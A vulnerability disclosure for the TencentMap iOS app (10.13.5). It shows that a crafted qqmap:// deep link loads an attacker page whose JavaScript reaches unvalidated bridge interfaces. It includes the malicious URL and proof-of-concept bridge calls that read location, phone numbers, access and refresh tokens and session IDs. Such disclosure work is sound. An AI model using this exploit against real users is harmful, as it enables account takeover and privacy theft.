


# An information leak vulnerability in the iOS version of TencentMap

## Brief Description

TencentMap app is a map application that provides functions including map browsing, location search and navigation. It ranks **No.3** in the **"Navigation"** category list on the App Store of the Chinese region and has **125,000 ratings**.



The iOS version of the TencentMap supports opening web pages from external deep link URL (Scheme-customized URL). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.


Thus, an attacker can craft a **malicious Scheme-customized URL**. When clicked by the victim in a browser or another app, the URL can direct the victim to the TencentMap app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, **obtaining victim's geolocation information, obtaining victim's personal information** (such as

PhoneNumber, Gender), **obtaining victim's account information** (such as AccessToken, SessionID, RefreshToken, NickName, Avatar, UserID), **obtaining victim's device information** (such as IMEI, DeviceID, IDFA, QimeiID) and **interfering with victim's normal use** (such as crashing the app, forcefully logging out account, vibrating device).


## Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL in the following format: **qqmap://map/h5detail?url=https://attack.com/tencentmap/atkTencentMap.html**. Here, "attack.com" represents a domain under the attacker's control.

When the victim clicks on this URL, it directs the victim to the TencentMap app and opens the webpage **https://attack.com/tencentmap/atkTencentMap.html** within the app.



Within the webpage, the attacker can then invoke privileged interfaces, compromise victim's privacy such as **obtaining victim's geolocation information**, **obtaining victim's personal information** (such as PhoneNumber, Gender), **obtaining victim's account information** (such as AccessToken, SessionID, RefreshToken, NickName, Avatar, UserID), **obtaining victim's device information** (such as IMEI, DeviceID, IDFA, QimeiID) and **interfering with victim's normal use** (such as crashing the app, forcefully logging out account, vibrating device).



Part of the code for JS to call OC and the callback function defined in JS are shown below:

```

window.webkit.messageHandlers.qqmapJsbridgeMessageHandler.postMessage({
  callbackName : "callback_currentCity",
  method : "currentCity",
  namespace : "common",
  param : {},
});

window.webkit.messageHandlers.qqmapJsbridgeMessageHandler.postMessage({
  callbackName : "callback_getUserInfo",
  method : "getUserInfo",
  namespace : "common",
  param : {},
});

window.webkit.messageHandlers.qqmapJsbridgeMessageHandler.postMessage({
  callbackName : "callback_getAllUserInfo",
  method : "getAllUserInfo",
  namespace : "common",
  param : {},
});

```

```

window.qqmapJsbridgeExecInvokeCallback = function(CallbackID, Retval){
  var json = Retval;
  switch (CallbackID){
    case "callback_currentCity":
      document.getElementById("City").innerText = "Your City: " + json.currentCity;
      break;

    case "callback_getUserInfo":
      document.getElementById("OpenID").innerText = "Your OpenID: \n" + json.openId;
      document.getElementById("AccountAvatar").src = json.faceUrl;
      document.getElementById("SessionID").innerText = "Your SessionID: \n" + json.sessionId;
      document.getElementById("AccessToken").innerText = "Your AccessToken: \n" + json.accessToken;
      document.getElementById("LoginType").innerText = "Your LoginType: " + json.loginType;
      document.getElementById("PhoneNum").innerText = "Your PhoneNumber: " + json.phone;
      document.getElementById("NickName").innerText = "Your NickName: " + json.nick;
      document.getElementById("RefreshToken").innerText = "Your RefreshToken: " + json.refreshToken;
      document.getElementById("UserID").innerText = "Your UserID: " + json.userId;
      document.getElementById("UserBindInfo").innerText = "Your UserBindInfo: \n" + JSON.stringify(json.userBindInfo);
      document.getElementById("Gender").innerText = "Your Gender: " + (json.userBindInfo[0].userInfo.gender == 0 ? "male" : "female");
      break;
  }
}

```

## Impact of the Vulnerability

**Scope of the vulnerability:** TencentMap iOS version 10.13.5 (the latest version as of 2024-12-04).

**Consequences of the vulnerability:** Information disclosure.

**Download Link For Affected Application:**

🔗 **CN:**

<https://apps.apple.com/cn/app/%E8%85%BE%E8%AE%AF%E5%9C%B0%E5%9B%BE-%E8%B7%AF%E7%BA%BF%E8%A7%84%E5%88%92-%E5%AF%BC%E8%88%AA%E5%85%AC%E4%BA%A4%E6%89%93%E8%BD%A6%E5%9C%B0%E9%93%81%E5%87%BA%E8%A1%8C/id481623196>

## Possible Countermeasures

Should implement stricter domain name checks before the invocation of privileged interfaces.